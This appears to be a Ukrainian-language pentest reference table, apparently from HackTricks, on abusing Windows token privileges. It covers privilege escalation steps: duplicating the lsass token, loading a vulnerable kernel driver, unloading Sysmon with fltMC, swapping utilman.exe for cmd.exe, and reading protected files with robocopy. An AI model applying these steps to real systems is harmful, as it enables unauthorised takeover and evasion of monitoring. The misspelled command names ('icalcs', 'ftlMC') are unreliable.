| Привілей | Вплив | Інструмент | Шлях виконання | Примітки |
| -------------------------- | ----------- | ----------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **`SeAssignPrimaryToken`** | _**Адмін**_ | 3rd party tool | _"Це дозволить користувачу імплементувати токени та підвищити привілеї до системи nt, використовуючи такі інструменти, як potato.exe, rottenpotato.exe та juicypotato.exe"_ | Дякую [Aurélien Chalot](https://twitter.com/Defte_) за оновлення. Я спробую перефразувати це на щось більш схоже на рецепт найближчим часом. |
| **`SeBackup`** | **Загроза** | _**Вбудовані команди**_ | Читати чутливі файли за допомогою `robocopy /b` | <p>- Може бути більш цікавим, якщо ви можете прочитати %WINDIR%\MEMORY.DMP<br><br>- <code>SeBackupPrivilege</code> (і robocopy) не допомагає, коли йдеться про відкриті файли.<br><br>- Robocopy вимагає як SeBackup, так і SeRestore для роботи з параметром /b.</p> |
| **`SeCreateToken`** | _**Адмін**_ | 3rd party tool | Створити довільний токен, включаючи локальні адміністративні права, за допомогою `NtCreateToken`. | |
| **`SeDebug`** | _**Адмін**_ | **PowerShell** | Дублювати токен `lsass.exe`. | Скрипт можна знайти на [FuzzySecurity](https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1) |
| **`SeLoadDriver`** | _**Адмін**_ | 3rd party tool | <p>1. Завантажити помилковий драйвер ядра, наприклад <code>szkg64.sys</code><br>2. Експлуатувати вразливість драйвера<br><br>Альтернативно, привілей може бути використаний для вивантаження драйверів, пов'язаних із безпекою, за допомогою вбудованої команди <code>ftlMC</code>, тобто: <code>fltMC sysmondrv</code></p> | <p>1. Вразливість <code>szkg64</code> вказана як <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15732">CVE-2018-15732</a><br>2. <code>szkg64</code> <a href="https://www.greyhathacker.net/?p=1025">код експлуатації</a> був створений <a href="https://twitter.com/parvezghh">Parvez Anwar</a></p> |
| **`SeRestore`** | _**Адмін**_ | **PowerShell** | <p>1. Запустіть PowerShell/ISE з присутнім привілеєм SeRestore.<br>2. Увімкніть привілей за допомогою <a href="https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1">Enable-SeRestorePrivilege</a>.<br>3. Перейменуйте utilman.exe на utilman.old<br>4. Перейменуйте cmd.exe на utilman.exe<br>5. Заблокуйте консоль і натисніть Win+U</p> | <p>Атаку можуть виявити деякі антивірусні програми.</p><p>Альтернативний метод базується на заміні бінарних файлів служб, збережених у "Program Files", використовуючи той же привілей.</p> |
| **`SeTakeOwnership`** | _**Адмін**_ | _**Вбудовані команди**_ | <p>1. <code>takeown.exe /f "%windir%\system32"</code><br>2. <code>icalcs.exe "%windir%\system32" /grant "%username%":F</code><br>3. Перейменуйте cmd.exe на utilman.exe<br>4. Заблокуйте консоль і натисніть Win+U</p> | <p>Атаку можуть виявити деякі антивірусні програми.</p><p>Альтернативний метод базується на заміні бінарних файлів служб, збережених у "Program Files", використовуючи той же привілей.</p> |
| **`SeTcb`** | _**Адмін**_ | 3rd party tool | <p>Маніпулювати токенами, щоб включити локальні адміністративні права. Може вимагати SeImpersonate.</p><p>Потрібно перевірити.</p> | |
## Посилання
- Ознайомтеся з цією таблицею, що визначає токени Windows: [https://github.com/gtworek/Priv2Admin](https://github.com/gtworek/Priv2Admin)
- Ознайомтеся з [**цією статтею**](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt) про підвищення привілеїв за допомогою токенів.
{{#include ../../../banners/hacktricks-training.md}}